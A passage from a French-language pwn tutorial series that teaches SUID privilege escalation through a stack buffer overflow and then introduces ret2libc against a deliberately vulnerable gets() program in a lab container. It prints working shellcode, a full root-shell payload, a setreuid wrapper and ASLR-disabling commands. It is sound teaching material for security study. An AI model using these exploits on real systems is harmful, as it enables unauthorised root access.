bien le temps de réaliser ces différentes étapes, notamment la dernière car nous allons devoir modifier les différentes adresses utilisées au sein de notre payload pour l’améliorer. Notez le payload ainsi que les différentes adresse utilisées quelque part.Nous obtenons ceci :L’exploit fonctionne (ouf 😅) et permet d’ouvrir un shell … mais nous ne sommes toujours pas root 😔! Rappel : n’oubliez pas de désactiver l’ASLR et d’adapter le nom du programme à exécuter dans wrapper.c.Raison de l’absence d’élévation de privilèges Encore un souci lié à ces fichues variables d’environnement 😡!Non, ce n’est pas lié aux variables d’environnement ! En réalité le problème ne vient pas du programme ni du payload en lui-même. Il vient de la manière dont on a ouvert un shell.Pour illustrer mes propos, je vais utiliser ce programme minimaliste :#include &lt;stdio.h&gt; #include &lt;unistd.h&gt; int main() { char *args[] = {\"/bin/sh\", NULL}; execv(\"/bin/sh\", args); return 1; }En l’exécutant tel quel, nous ne serons évidemment pas root. Qu’en serait-il si le programme était SUID ?sudo chown root:root testsudo chmod u+s test./test$ whoami$ challenger Si vous souhaitez reproduire cet exemple dans le conteneur de ce chapitre, vous pouvez utiliser docker exec --user root -it ID_DU_CONTENEUR /bin/bash pour avoir accès à un terminal en tant que root le temps de rendre le programme SUID. Par contre, veillez bien à le lancer ensuite en tant qu’utilisateur challenger.Nous ne sommes toujours pas root. Le problème vient donc : soit du programme lancé /bin/sh ; soit de la fonction appelée execv.Une question de privilèges 🧐Commençons par investiguer la première hypothèse. En lisant le manuel de sh, vous devriez tomber sur une option qui pique notre curiosité :-p priviliged Do not attempt to reset effective uid if it does not match uid. This is not set by default to help avoid incorrect usage by setuid root programs via system(3) or popen(3). Il s’agit d’une option qui, par défaut, n’est pas activée. On en déduit donc que, comme nous ne l’avons pas spécifiée, l’UID effectif (ou EUID) a été réinitialisé avec l’UID. Quelle est la différence entre les deux 🤔?Tout d’abord, il est nécessaire de comprendre une chose. Dans Linux, les utilisateurs ainsi que les processus ont des identifiants. Pour les processus, il est possible de faire l’analogie entre les identifiants sous Linux avec les jetons d’accès sous Windows.Dans le noyau Linux, ces différents identifiants sont présents dans la structure cred dont les premiers membres sont les suivants :struct cred { atomic_long_t\tusage; kuid_t\t\tuid;\t\t/* real UID of the task */ kgid_t\t\tgid;\t\t/* real GID of the task */ kuid_t\t\tsuid;\t\t/* saved UID of the task */ kgid_t\t\tsgid;\t\t/* saved GID of the task */ kuid_t\t\teuid;\t\t/* effective UID of the task */ kgid_t\t\tegid;\t\t/* effective GID of the task */ kuid_t\t\tfsuid;\t\t/* UID for VFS ops */ kgid_t\t\tfsgid; /* GID for VFS ops *//* autres membres ... */};Si vous êtes habitués à utiliser Linux, vous savez que dans les identifiants et permissions il y a une notion d’utilisateurs et de groupes. Pour les processus, c’est pareil. Toutefois, nous n’avons pas besoin de nous préoccuper de cette histoire de groupes pour l’instant.Concentrons-nous sur les 4 identifiants suivants : ruid (real UID) : parfois directement désigné uid, il s’agit de l’identifiant de l’utilisateur qui lance le processus. Généralement, il s’agit du même UID que celui qui s’affiche quand vous exécutez la commande id (ex : uid=1001(...)). euid (effective UID) : il est utilisé pour déterminer les permissions qu’un processus possède lorsqu’il accède à certaines ressources. C’est ce qui est utilisé par les programmes SUID pour nous permettre d’avoir plus de privilèges lors de l’exécution du processus. C’est l’identifiant de celui au nom de qui le programme est lancé. suid (saved UID) : il s’agit d’une sauvegarde de euid au lancement du processus. Cela permet de modifier euid avec la valeur de ruid (réduction de privilèges) ou avec la valeur de suid (élévation de privilèges). ⚠️ A ne pas confondre avec le bit SUID (Set User ID) qui est un bit attribué au programme avant son exécution alors que suid est un identifiant défini pour un processus. fsuid (filesystem UID) : cet identifiant est utilisé pour gérer les permissions lors de l’accès aux fichiers. Sauf exceptions, il est toujours égal à euid. C’est pour ça qu’avec une programme SUID root, comme euid == 0, il est possible d’accéder à des fichiers dont seul l’utilisateur root a l’accès.Pour plus d’informations sur ces identifiants, vous pouvez vous rendre dans le manuel suivant : man 7 credentials.A titre d’exemple, en lançant un programme SUID comme passwd, le ruid pendant l’exécution du programme reste 1000 (utilisateur classique) tandis que l’euid lui vaut 0 (root).En revenant à l’option -p de /bin/sh, on comprend que lorsque ruid != euid et que cette option n’est pas spécifiée, alors l’euid est réinitialisé avec la valeur de ruid.Modifions le précédent programme de test pour utiliser cette option désormais :// char *args[] = {\"/bin/sh\", NULL}; char *args[] = {\"/bin/sh\", \"-p\", NULL}; On compile, on lui donne le bit SUID et on l’exécute :sudo chown root:root testsudo chmod u+s test./test# $ whoami# root# $ id# uid=1001(challenger) gid=1001(challenger) euid=0(root) groups=1001(challenger)Là, ça fonctionne ! L’euid n’étant pas réinitialisé, le processus garde les privilèges de root lors de l’ouverture du shell.Modification du shellcodeDe la même manière que l’option -p a été ajoutée dans le programme de test, il est nécessaire d’adapter le shellcode pour inclure cette option lors de l’exécution du syscall execve.Pour rappel, le shellcode utilisé est le suivant, avec 0xffffdd10 (à adapter) qui pointe vers /bin/sh\\x00 :mov ebx, 0xffffdd10 ; pointe vers filenamemov ecx, 0 ; pointe vers argvmov edx, 0 ; pointe vers envpmov eax, 0x0bint 0x80 Pour rappel, l’adresse que contiendra ebx est l’adresse du buffer prenom.filename et envp n’ont pas besoin d’être modifiés. Toutefois, il va falloir modifier argv pour que nous puissions utiliser le paramètre -p. Il est nécessaire que l’on forme argv comme suit : {\"/bin/sh\", \"-p\", NULL}. Pour rappel, argv[0] pointe toujours vers le nom ou chemin du programme exécuté.Nous avons déjà la chaîne de caractère \"bin/sh\" en mémoire, et on connaît même son adresse, autant la réutiliser. Il ne nous manque plus que : écrire la chaîne de caractères \"-p\" en mémoire ; écrire NULL en mémoire, c’est-à-dire 0x00000000. Il peut être parfois judicieux de réutiliser les moyens du bord. Si vous savez que NULL est présent à une adresse fixe (ex: dans l’entête ELF du programme), autant la réutiliser pour ne pas avoir à l’écrire soit-même et “consommer” de l’espace dans le buffer prenom.Notre payload a actuellement la forme suivante :Après modifications, il aura la forme suivante : Il n’existe pas une unique manière d’agencer les différentes parties du shellcode. Nous aurions très bien pu placer -p et NULL, voire même le tableau de pointeurs argv, après le shellcode.Evidemment, comme nous venons d’ajouter 3 + 4*3 octets en plus, il sera nécessaire de supprimer 15 caractères 'A' dans le bourrage de AAAAA..A.Tout d’abord, modifions le shellcode pour que ecx pointe vers l’adresse de argv[0] avant de générer la version finale du payload :mov ebx, 0xffffdd10 ; pointe vers filename -&gt; à adaptermov ecx, 0xffffdd1b ; pointe vers argv -&gt; à adaptermov edx, 0 ; pointe vers envpmov eax, 0x0bint 0x80 Il n’est pas difficile de comprendre pourquoi nous avons utilisé l’adresse 0xffffdd1b pour argv. Également, n’oubliez pas qu’il se peut que vous ayez des adresses différentes de celles de ce cours pour &amp;filename et argv. Elles seront donc à adapter dans le payload.Nous générons une nouvelle fois les opcodes associés : \\xBB\\x10\\xDD\\xFF\\xFF\\xB9\\x1B\\xDD\\xFF\\xFF\\xBA\\x00\\x00\\x00\\x00\\xB8\\x0B\\x00\\x00\\x00\\xCD\\x80. Ici, la taille du shellcode demeure 22. Il faut toujours faire attention au changement de la taille car il sera nécessaire d’adapter le bourrage en conséquence (en ajoutant ou supprimant des caractères).Ajoutons désormais au payload les nouveaux éléments situés avant le shellcode sachant que : argv[0] vaut 0xffffdd10 (à adapter), il pointe vers l’adresse de \"/bin/sh\" ; argv[1] vaut 0xffffdd18 (à adapter), il pointe vers l’adresse de \"-p\".N’oublions pas de modifier l’adresse de retour vers le shellcode car celui-ci a été décalé de 15 octets.Voici le payload final :/bin/sh\\x00-p\\x00\\x10\\xdd\\xff\\xff\\x18\\xdd\\xff\\xff\\x00\\x00\\x00\\x00\\xBB\\x10\\xDD\\xFF\\xFF\\xB9\\x1B\\xDD\\xFF\\xFF\\xBA\\x00\\x00\\x00\\x00\\xB8\\x0B\\x00\\x00\\x00\\xCD\\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD\\x40\\xde\\xff\\xffEEEEFFFFGGGGHHHHIIIIJJJJKKKK\\x27\\xdd\\xff\\xffEncore une fois, les adresses à adapter, selon ce que vous avez de votre côté sont : \\x10\\xdd\\xff\\xff ➡️ adresse de \"/bin/sh\" (utilisée en tant que argv[0]) ; \\x18\\xdd\\xff\\xff ➡️ adresse de \"-p\" (utilisée en tant que argv[1]) ; \\x10\\xDD\\xFF\\xFF ➡️ adresse de\"/bin/sh\" (utilisée par le shellcode appelant execve) ; \\x1B\\xDD\\xFF\\xFF ➡️ adresse de argv (utilisée par le shellcode appelant execve) ; \\x40\\xde\\xff\\xff ➡️ adresse que doit avoir ecx en temps normal avant le pop ecx ; \\x27\\xdd\\xff\\xff ➡️ adresse de retour (pour sauter dans le shellcode). Dans le cas où vous n’avez pas sauvegardé le payload du précédent chapitre, vous pouvez retrouver ces adresses en déboguant le programme à la volée sans les variables d’environnement comme cela a été fait au précédent chapitre.🎇 Exploitation !Nous mettons le programme SUID pour root puis on l’exécute avec notre payload fraîchement modifié :# Ces deux lignes ne sont pas a executer si vous utilisez# le conteneur Dockersudo chown root:root vuln_no_nx_suidsudo chmod u+s vuln_no_nx_suid(echo -e '/bin/sh\\x00-p\\x00\\x10\\xdd\\xff\\xff\\x18\\xdd\\xff\\xff\\x00\\x00\\x00\\x00\\xBB\\x10\\xDD\\xFF\\xFF\\xB9\\x1B\\xDD\\xFF\\xFF\\xBA\\x00\\x00\\x00\\x00\\xB8\\x0B\\x00\\x00\\x00\\xCD\\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD\\x40\\xde\\xff\\xffEEEEFFFFGGGGHHHHIIIIJJJJKKKK\\x27\\xdd\\xff\\xff'; cat -) | ./wrapperLe résultat est le suivant :Bravo 😎! Pour les obstinés qui ont tout de même mis le programme SUID pour l’utilisateur root, n’oubliez pas de supprimer le programme ou au moins changer le propriétaire vers un utilisateur non privilégié avec chown 🙄.⭐ Bonus : autres méthodes et astuces pour ne pas perdre les privilègesQuelques informations et astuces qui pourraient vous être très utiles …🟡 Ouvrir un shell … python 🐍 !Vous le savez peut-être déjà mais il existe une multitude de shells : dash, bash, zsh … Cependant, il existe aussi un autre type de shell que vous avez certainement déjà utilisé : le shell python ! Celui qui s’ouvre lorsque vous exécutez la commande python ou python3.L’avantage du shell python ? ✨Il ne supprime pas les privilèges lorsque ruid != euid✨. De plus, il est plus simple de réaliser un appel à execve(\"/usr/bin/python3\", NULL, NULL); qu’à execve(\"/bin/sh\", args, NULL); où args doit contenir le nom du programme ainsi que l’option -p.Ainsi, pour éviter de se compliquer la tâche, il est parfois très utile d’utiliser un shell python à la place.Ainsi, en modifiant le payload afin d’appeler /bin/usr/python3.10, par exemple, on arrive à devenir root en laissant l’argument argv égal à NULL :import subprocessresult = subprocess.run([\"whoami\"], capture_output=True, text=True)print(result.stdout.strip())La modification du payload est laissée en exercice (facile) au lecteur 😉. Une fois le terminal python ouvert et les commandes saisies, vous pouvez utiliser le raccourcis Ctrl+D pour fermer l’input afin que les commandes python soient exécutées. Cette astuce est vraiment très utile et permet parfois de ne pas avoir à se plier en 4 pour éviter que /bin/sh ne supprime les privilèges du programme SUID. A consommer sans modération !🟡 Utiliser un wrapper setreuidDans le cas où vous avez un accès ssh à la machine contenant le programme vulnérable, il est possible d’appeler certaines fonctions de la libc depuis un wrapper avant de lancer le programme, à la manière du précédent wrapper que nous avions utilisé.Par contre, cette fois-ci le wrapper ne va pas nous servir à lancer le processus vulnérable mais à faire en sorte que lancer le programme /bin/sh ne réinitialise pas euid.Voici le contenu de wrapper_setreuid.c :#include &lt;stdlib.h&gt;#include &lt;sys/types.h&gt;#include &lt;unistd.h&gt; int main(void){ setreuid(geteuid(), geteuid()); execve(\"/bin/sh\",0,0); return 0;}Il est nécessaire de bien distinguer ces deux wrappers : Le premier wrapper wrapper.c : surcouche permettant de supprimer les variables d’environnement lors de l’exécution du programme. Le second wrapper wrapper_setreuid.c : surcouche permettant de faire en sorte que /bin/sh ne supprime pas les privilèges élevés.D’ailleurs, ces deux wrappers n’interviennent pas au même moment dans l’exploitation du programme vulnérable : Comment ce wrapper est censé nous permettre de lancer /bin/sh sans avoir à spécifier -p ?Tout d’abord, rappelez-vous de la condition qui, une fois satisfaite, permet à /bin/sh de supprimer les privilèges : Do not attempt to reset effective uid if it does not match uid.Ainsi, wrapper_setreuid.c se charge de faire en sorte que ruid ait la même valeur que euid. De cette manière, lorsque /bin/sh sera appelé, comme ruid == euid, les privilèges seront transmis !Néanmoins l’utilisation, de ce wrapper nécessite deux choses : Avoir un endroit où il possible d’écrire un programme, le compiler et l’exécuter (ex: /tmp). Modifier le shellcode afin d’exécuter le wrapper au lieu de /bin/sh (ex : /tmp/mon_wrapper ). En réalité, il n’est pas nécessaire de pouvoir compiler le wrapper sur la machine vulnérable. Du moment qu’il est possible d’y écrire et exécuter des fichiers, il est tout à fait possible de le compiler en local (en statique de préférence, pour plus de compatibilité), puis le transférer dans un endroit où l’on dispose des droits rwx. Astuce : Dans certains challenges, vous verrez que setreuid est appelée dans le main. Cela est généralement mis en place afin de faciliter l’exploitation lorsqu’il est compliqué ou très pénible de garder les privilèges lors d’un appel à /bin/sh. Cela permet donc de réduire la complexité liée à l’élévation de privilèges afin de se concentrer sur la partie “exploitation” du challenge.🟡 Devenir root dans gdbVous ne vous êtes jamais posé la question : en utilisant set $eip = 0xadresse, on peut facilement exécuter /bin/sh -p via execve dans gdb ?Désolé de mettre fin à vos faux espoirs, mais ce n’est pas possible 😅.Si l’on pouvait devenir root depuis un débogueur, cela serait possible depuis n’importe quel programme qui utilise la libc vu que execve serait présente en mémoire. Auquel cas il suffirait de faire set $eip = execve (en ayant au préalable mis en place les bons arguments). Imaginez un instant si cela était possible en modifiant le cours d’exécution de sudo, par exemple, tout le monde pourrait devenir root 🤯.Pour comprendre pourquoi une telle magouille n’est pas possible, il est important de connaître l’appel système sous-jacent qu’utilise un débogueur sous Linux : ptrace. Il existe également sous forme de fonction dans la libc (cf : man ptrace).Cet appel système est un véritable couteau suisse qui permet d’analyser un processus en long, en large et en travers. C’est notamment ce qui est utilisé par strace, outil affichant les appels systèmes et signaux utilisés par un autre programme.Pour simplifier, ce qu’il se passe lorsque l’on souhaite déboguer un programme SUID est qu’il est lancé en ayant un euid égal au ruid de l’utilisateur qui lance le processus. De cette manière, peu importe ce qui est fait dans le programme, il n’y a pas de risque d’élévation de privilèges.Pour les plus curieux, n’hésitez pas à jeter un œil au fonctionnement de ptrace_attach.🛡️ Contre-mesuresNous avons brièvement parlé des contre-mesures qui permettent d’éviter d’exploiter une pile exécutable : Pile non exécutable (merci Sherlock 🕵️‍♂️) : évidemment, si le problème est que la pile puisse être exécutable, il suffit qu’elle ne le soit plus par défaut.Cette contre-mesure est notamment gérée par le mécanisme de bit NX qui est mis en place au niveau kernel. L’explication détaillée de ce mécanisme sort du contexte de ce chapitre et nécessite de comprendre le système de pagination de la mémoire.📝 ExercicesÉchauffementSi vous ne vous sentez pas totalement à l’aise avec l’exploitation d’une pile exécutable, voici deux petits exercices que vous pouvez faire : Adapter l’exploit pour ouvrir un shell python Adapter l’exploit en utilisant un wrapper qui exécute setreuid pour ne pas avoir à lancer /bin/sh -p🏆 ChallengeLe challenge proposé est d’exploiter le même programme, mais cette fois-ci en 64 bits. Le code du programme à exploiter est toujours le même :#include \"stdio.h\" int main() { char prenom[256] = {0}; // /!\\ augmentation de la taille gets(&amp;prenom); printf(\"Bonjour %s !\\n\",prenom); return 0; }Dans l’ensemble, la méthodologie d’exploitation reste sensiblement la même. Sa résolution ne devrait pas être difficile. ⬇️ Téléchargement : pwn-stack-vuln-no-nx-suid-64.zip 🔎 SHA256 &amp; Analyse Virus Total : c40b9987a634939822eb2064666651b14795f321215a13e11d545cb7888b5b7c 💻 Contexte d’exécution : n’oubliez pas de désactiver l’ASLR ! (dans une VM de préférence 🙃) ; 🎯 Objectif : devenir root ; 🚫 Contraintes : Aucune. Vous pouvez utiliser n’importe quelle astuce vue dans le cadre de ce cours (suppression des variables d’environnement, shellcode pour /bin/sh -p, shell python, wrapper setreuid …) ⚙️ Construction et lancement du conteneur :docker build -t pwn-stack-vuln-no-nx-suid-64 .docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-stack-vuln-no-nx-suid-64💡 Indices💡 Indice n°1SWwgeSBhIHF1ZWxxdWVzIGRpZmbDqXJlbmNlcyBhdmVjIGxlIHByw6ljw6lkZW50IGNoYWxsZW5nZSBxdWkgw6l0YWl0IGVuIDMyIGJpdHMuIApFbnRyZSBhdXRyZXMsIGlsIHZhIGZhbGxvaXIgYWRhcHRlciBsZSBzaGVsbGNvZGUgY2FyIGxlcyBhcmd1bWVudHMgZGUgbCdhcHBlbCBzeXN0w6htZSBuZSBzb250IHBhcyB0cmFuc21pcyB2aWEgbGEgcGlsZSBtYWlzIHZpYSBsZXMgcmVnaXN0cmVzLgpEZSBwbHVzLCBsZSBjb250csO0bGUgZGUgYHJpcGAgc2VyYSBwbHVzIGZhY2lsZSBjYXIgYHJzcGAgbmUgc2VyYSwgYSBwcmlvcmksIHBhcyBtb2RpZmnDqSBsb3JzIGRlIGwnw6ljcmFzZW1lbnQgZGUgbCdhZHJlc3NlIGRlIHJldG91ci4=💡 Indice n°2Vm9pY2kgdW5lIHByb3Bvc2l0aW9uIGRlcyBwcmluY2lwYWxlcyDDqXRhcGVzIMOgIHN1aXZyZSA6CgoxLiB0cm91dmVyIGxlIHBhZGRpbmcgw6AgdXRpbGlzZXIgYXZhbnQgZCdhcnJpdmVyIMOgIMOpY3Jhc2VyIGwnYWRyZXNzZSBkZSByZXRvdXIKMi4gw6ljcmlyZSAob3UgdHJvdXZlcikgdW4gc2hlbGxjb2RlIGVuIDY0IGJpdHMgcGVybWV0dGFudCBkJ291dnJpciB1biBzaGVsbCBlbiBnYXJkYW50IGxlcyBwcml2aWzDqGdlcyByb290CjMuIHNhdXRlciBkYW5zIGxlIHNoZWxsY29kZQ==📋 SynthèseAprès pas mal de chapitres nous sommes enfin arrivés à l’objectif que nous nous étions fixés : exploiter le programme pour devenir root.Comme vous avez pu le constater, la route était longue et nous avions analysé chaque écueil qui était présent : l’ASLR, les variables d’environnement, le bit SUID et j’en passe. Au fur et à mesure que vous avancerez en pwn, vous allez vous habituer à prendre en considérations ces différentes protections assez rapidement afin de les contourner en adaptant votre manière d’exploiter un programme.Bien que l’exploitation de la pile exécutable soit un grand classique en pwn, les obstacles rencontrés sont loin d’être triviaux et se présenteront fréquemment. Il est donc essentiel de bien les garder dans un coin de la tête.De plus, nous avons fait en sorte de proposer, lorsque cela est possible, différentes pistes d’exploitations et différentes astuces qui ne sont pas forcément utiles ni très pertinentes dans notre cas mais qui pourraient vous aider à sortir d’une impasse dans un challenge où une contrainte (ex: taille du shellcode limitée, pas de connexion ssh possible …) vous empêche d’exploiter facilement le programme.Beaucoup de détails ont été vus au cours de cette partie, n’hésitez pas à y revenir lorsqu’une notion vous paraît floue ou pour tout simplement vous rafraîchir la mémoire." }, { "title": "Partie 8 - Exploiter un BO - attaque ret2libc – concepts et prérequis (1/2)", "url": "/posts/introduction_au_pwn_partie_8/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-05-01 08:00:00 -0200", "snippet": "Exploiter un stack buffer overflow : attaque ret2libc – concepts et prérequis (1/2)Poursuivons notre aventure dans le temps ⏳. Nous allons encore une fois nous intéresser à une méthode d’exploitati...", "content": "Exploiter un stack buffer overflow : attaque ret2libc – concepts et prérequis (1/2)Poursuivons notre aventure dans le temps ⏳. Nous allons encore une fois nous intéresser à une méthode d’exploitation qui a lieu dans la pile : ret2libc (ou retour à la libc 🇫🇷).En quoi consiste ret2libc ? Nous allons le découvrir dans quelques instants.ContexteNous allons nous placer dans le même contexte que lors de l’exploitation via la pile exécutable avec quelques différences : nous considérons que l’ASLR est toujours désactivée (comme ce fut le cas précédemment) ; la pile n’est plus exécutable ; aucune autre protection n’est déployée.Pour le code à exploiter, on reprend notre bon vieux programme :#include \"stdio.h\" int main() { char prenom[256] = {0}; // /!\\ augmentation de la taille gets(&amp;prenom); printf(\"Bonjour %s !\\n\",prenom); return 0; }Pour le compiler en 32 bits sans que la pile ne soit exécutable : clang -m32 -no-pie -fno-stack-protector main.c -o ret2libc -Wno-implicit-function-declaration. L’option -Wno-implicit-function-declaration évite d’avoir une erreur de compilation liée à la présence de la fonction gets.Pour suivre le cours via un conteneur Docker dédié : ⬇️ Téléchargement : pwn-stack-ret2libc.zip 🔎 SHA256 &amp; Analyse Virus Total : 87b281aa28d0845c71a61f0345ba09ef3e0dcdcb496c25030472fd24b5ff0496 ⚙️ Construction et lancement du conteneur :docker build -t pwn-stack-ret2libc .docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-stack-ret2libc Pourquoi, d’un coup, on se met à compiler avec clang ?La compilation avec clang va permettre d’avoir, dans main, un épilogue plus simple à gérer que ce que l’on a pu voir précédemment. Vu que vous savez désormais comment gérer ça, autant éviter de se mettre des bâtons dans les roues 😇. Également, nous compilons en 32 bits car l’exploitation via ret2libc est bien plus simple en 32 bits.Bon, comment exploiter ce programme maintenant que la pile est désormais non exécutable ?Exploitation Pour rappel, on se place dans un contexte où l’ASLR est désactivée via la commande suivante : echo 0 | sudo tee /proc/sys/kernel/randomize_va_space. ⚠️ A ne pas faire dans son environnement de travail de tous les jours.Tout d’abord parlons de checksec, un des modules de pwntools. checksec donne un aperçu des principales protections présentes dans un programme. Vous pouvez l’utiliser en ligne de commande avec pwn checksec nom_du_programme ou tout simplement checksec nom_du_programme. pwntools est déjà installé dans le conteneur Docker. Si vous souhaitez l’installer sur votre machine, il y a une section dédiée à cela un peu plus bas 😉.Pour ce programme, cela donne :$ pwn checksec ret2libc [*] '/home/(...)/ret2libc' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled &lt;---- PIE: No PIE (0x8048000) Il y a sûrement certaines protections que vous ne comprenez pas pour l’instant, nous aurons l’occasion de nous y attarder plus tard.C’est à travers la ligne NX: NX enabled que nous comprenons que la pile n’est pas exécutable. N’hésitez pas à utiliser checksec lorsque vous faites face à un challenge de pwn. Ça ne mange pas de khobz et cela donne une idée des protections qu’il va peut-être falloir déjouer.Contrôler eipLa première étape est de contrôler eip et vous savez comment faire depuis le temps. On constate, en tâtonnant, qu’en utilisant un bourrage de 268 'A' que les 4 prochains octets permettent de contrôler eip :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0123Le résultat dans gdb :Première étape terminée illico presto 😎.La question que tout le monde se pose désormais : on fait quoi maintenant ? La pile n’est plus exécutable 😞, nous ne pouvons donc plus utiliser un shellcode pour ouvrir un terminal. Essayons de voir ce que nous pouvons faire.Nous contrôlons déjà eip, ce qui signifie que nous pouvons sauter vers n’importe quelle adresse exécutable de notre programme. Pas de bol, notre code ne fait pas grand-chose. Les fonctions qu’il appelle ne nous permettent pas d’avancer bien loin.C’est là que la technique ret2libc entre en jeu !ret2libcret2libc consiste à sauter dans la libc afin d’être en mesure d’exécuter des fonctions intéressantes nous permettant, in fine, d’avoir un shell.Sachant que execve est une fonction à part entière de la libc, autant l’exécuter plutôt que de passer du temps à rendre une zone mémoire exécutable pour y mettre un shellcode qui lui-même exécutera l’appel système execve 😴. Rappel : Ce que nous souhaitons exécuter, via la libc, est la fonction execve, pas l’appel système éponyme (même si la fonction execve finit par exécuter cet appel système). Comment se fait-il que des fonctions que l’on n’appelle pas depuis notre programme se retrouvent dans la mémoire de notre processus ?Il suffit d’utiliser une seule fonction de la libc pour que celle-ci soit totalement chargée dynamiquement lorsque notre programme est lancé. Rappelez-vous, la libc est un fichier ELF, il serait difficile d’en extraire seulement les fonctions et instructions utiles pour notre programme.Tant pis pour la mémoire supplémentaire utilisée pour stocker des fonctions qui ne seront jamais appelées. Sandrine Rousseau a sûrement de plus grandes batailles à mener ! De notre côté, tant mieux pour nous car cela nous donne accès à beaucoup de fonctions intéressantes telles que execve.D’ailleurs, rien ne nous interdit d’appeler une autre fonction que execve afin d’ouvrir un shell. Nous pourrions très bien utiliser system, execv, execl … Voici les signatures de ces fonctions :int system(const char *command);int execv(const char *pathname, char *const argv[]);int execve(const char *pathname, char *const argv[], char *const envp[]);int execl(const char *pathname, const char *arg, ... /* (char *) NULL */); En pwn, il convient de ne pas se restreindre à la première piste d’exploitation envisagée. Si, effectivement, une piste semble plus adaptée que d’autres, ce n’est pas pour autant qu’il faut la considérer comme étant l’unique méthode permettant d’exploiter le programme. Il arrive parfois, en suivant une piste qui semble être “la bonne”, de faire face à des obstacles qui n’auraient pas existé si une autre piste avait été choisie.En l’occurrence chacune de ces fonctions dispose d’avantages et d’inconvénients : system : elle a l’avantage de ne prendre d’un seul argument mais les privilèges SUID sont toujours abandonnés lors de l’appel de cette fonction qui est totalement équivalente à execl(\"/bin/sh\", \"sh\", \"-c\", commande, (char *) NULL); un autre avantage est qu’il n’est pas obligatoire d’utiliser un chemin absolu pour la commande. Il est donc tout à fait possible d’utiliser \"bash\" ou \"ma_cmd\" tant que la commande ma_cmd est trouvable dans l’un des dossiers listés dans la variable d’environnement PATH ; cette fonction sera à privilégier dans le cadre de challenges à distance où il n’y a pas besoin de réaliser une élévation de privilèges ou bien dans des challenges où setreuid a déjà été appelé. execv : cette variante ne prend que 2 arguments, ce qui est plus facile à gérer que execve mais plus compliqué que system qui ne prend qu’un argument ; il est possible d’appeler /bin/sh -p, /usr/bin/python3 ou un wrapper appelant setreuid afin de ne pas perdre les privilèges lors de l’ouverture du terminal. execl : cette fonction dispose peu ou prou des mêmes avantages et inconvénients que execv ; la différence est qu’il s’agit d’une fonction variadique (comme printf). Il est donc possible de spécifier les paramètres sous forme de plusieurs arguments au lieu de fournir un tableau d’arguments comme c’est le cas dans execv. execve : quasiment identique à execv si ce n’est que la fonction requiert de spécifier l’argument envp qui n’est pas toujours nécessaire … En réalité il y a bien plus de variantes mais si vous avez compris les différences entre celles-ci, vous ne devriez pas avoir de mal à comprendre les autres. Vous pouvez voir ces différentes variantes avec man execv. Le l dans execl est pour list (paramètres sous forme de liste) tandis que le v dans execv est pour vector (paramètres sous forme de tableau). Cela vous aidera à distinguer les deux. nous n’avons pas de raison particulière de spécifier les variables d’environnement, nous pouvons donc mettre de côté execve. notre programme n’appelle pas setreuid et il ne s’agit pas d’un challenge à distance, de ce fait system ne nous permettra pas de devenir root en l’état.Il nous reste à choisir parmi execv et execl. Comme nous avons déjà utilisé execve dans le précédent chapitre et que cette fonction s’utilise comme execv, je vous propose d’utiliser execl afin de découvrir de nouvelles choses 😉.Ce chapitre, en lui-même, ne sera pas très compliqué. Je vous suggère donc de vous introduire la bibliothèque Python pwntools !pwntoolspwntools est une bibliothèque Python permettant de faciliter l’exploitation de binaires. Elle dispose notamment des fonctionnalités suivantes : interaction avec le processus : il est possible de lancer et interagir avec un programme à exploiter en local, à distance (via TCP ou UDP) ou même en se connectant en SSH si cela est possible ; manipulation de données : la conversion de données, notamment d’octets en entier et inversement. Cela est très utile lorsque l’on souhaite convertir des adresses en octets pour les ajouter au payload ; assistance au développement d’exploits : dans certaines techniques d’exploitation couramment utilisées (écriture de shellcode, ROP, chaîne de caractères formatées …) il existe des modules qui vous facilitent l’exploitation de binaire via ces techniques ; assemblage et désassemblage : si vous aimez utiliser capstone et keystone pour assembler et désassembler, sachez qu’il est possible de le faire facilement avec pwntools ; débogage à la volée : il s’agit peut être de ma fonctionnalité préférée dans pwntools. Imaginez que vous êtes en train d’exploiter un challenge nécessitant une dizaine d’étapes. Vous avez réussi les 9 premières étapes et vous bloquez à la dernière. Vous n’arrivez pas à comprendre d’où vient le problème, vous utiliser donc un débogueur pour en savoir plus. Le souci est que si vous ouvrez gdb, vous aurez à relancer les 9 premières étapes pour arriver au point bloquant. En revanche, avec la fonction gdb.attach(), vous pouvez ouvrir à la volée, dans gdb, le processus exploité après avoir terminé les 9 premières étapes pour arriver directement au point bloquant et pouvoir en découvrir la cause. Pratique non 🤩 ? automatisation de l’envoi et réception de données : un autre point fort de pwntools est la facilité à envoyer et recevoir des données, notamment un payload sous forme d’octets, au processus exploité.La liste n’est pas exhaustive mais cela vous illustre à quel point pwntools est LA boîte à outils que toute personne qui se lance dans le pwn doit connaître. Si vous avez déjà jeté un œil à des solutions (writeups 🇬🇧), je suis sûr que vous avez déjà rencontré des scripts Python utilisant pwntools. Pour installer pwntools, il suffit d’exécuter les quelques commandes présentes sur ce tutoriel.Reprenons ce que nous avons fait jusque-là (contrôler eip) mais en utilisant 